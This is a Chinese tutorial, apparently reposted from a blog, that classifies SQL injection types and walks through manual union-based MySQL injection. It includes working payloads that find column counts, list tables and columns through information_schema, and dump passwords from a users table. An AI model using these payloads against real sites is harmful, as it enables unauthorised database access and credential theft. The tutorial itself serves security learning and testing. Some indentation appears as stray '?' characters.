0x00 SQL注入的分类:
(1)基于从服务器接收到的响应
?? ?????▲基于错误的 SQL 注入
?? ??? ?▲联合查询的类型
?? ??? ?▲堆查询注射
?? ??? ?▲SQL 盲注
?? ??? ??? ??基于布尔 SQL 盲注
?? ??? ??? ??基于时间的 SQL 盲注
?? ??? ??? ??基于报错的 SQL 盲注
(2)基于如何处理输入的 SQL 查询(数据类型)
?? ??? ??基于字符串
?? ??? ??数字或整数为基础的
(3)基于程度和顺序的注入(哪里发生了影响)
?? ??? ?★一阶注射
?? ??? ?★二阶注射
(4)基于注入点的位置上的
?? ??? ?▲通过用户输入的表单域的注射。
?? ??? ?▲通过 cookie 注射。
?? ??? ?▲通过服务器变量注射。 (基于头部信息的注射)
0x01 MYSQL?手工注入流程——基于错误的 SQL 注入
(1)闭合方式:
首先,需要确定SQL语句的闭合方式,常见闭合方式有:
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";? ??
$sql="SELECT * FROM users WHERE id="$id"?LIMIT 0,1";? ??
$sql="SELECT * FROM users WHERE id=(‘$id‘) LIMIT 0,1";? ??
$sql="SELECT * FROM users WHERE id=("$id")?LIMIT 0,1";? ??
(2)order by 查字段数
举例:
?id=1‘ order by 4--+? //返回Ture(这里的--+可以替换为#,都是注释符的意思)
?id=1‘ order by 5--+? //返回False
说明字段数为4
(3)确定数据显示位置
?id=0‘ union select 1,2,3,4--+
通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动
(4)查询当前数据库名
?id=0‘ union select 1,2,3,database()--+? ??
(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)
(5)查询当前数据库的所有表名
0‘ union select 1,2,3,group_concat(table_name) from information_schema.tables?where table_schema=database() --+
(6)查指定表名的所有字段名
0‘ union select 1,2,3,group_concat(column_name) from information_schema.columns?where table_name="users" --+
(7)查指定表的指定字段的所有内容
0‘ union select 1,2,3,group_concat(password) from users --+
(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制
1)0‘ union select 1,2,3,password?from users?limit 0,1--+
2)0‘ union select 1,2,3,password?from users?limit 1,1--+
3)0‘ union select 1,2,3,password?from users?limit 2,1--+
0x02 MYSQL?手工注入实战——基于错误的 SQL 注入
这里暂时还没写好,等之后补充进来。
原文地址:https://www.cnblogs.com/-mo-/p/11192244.html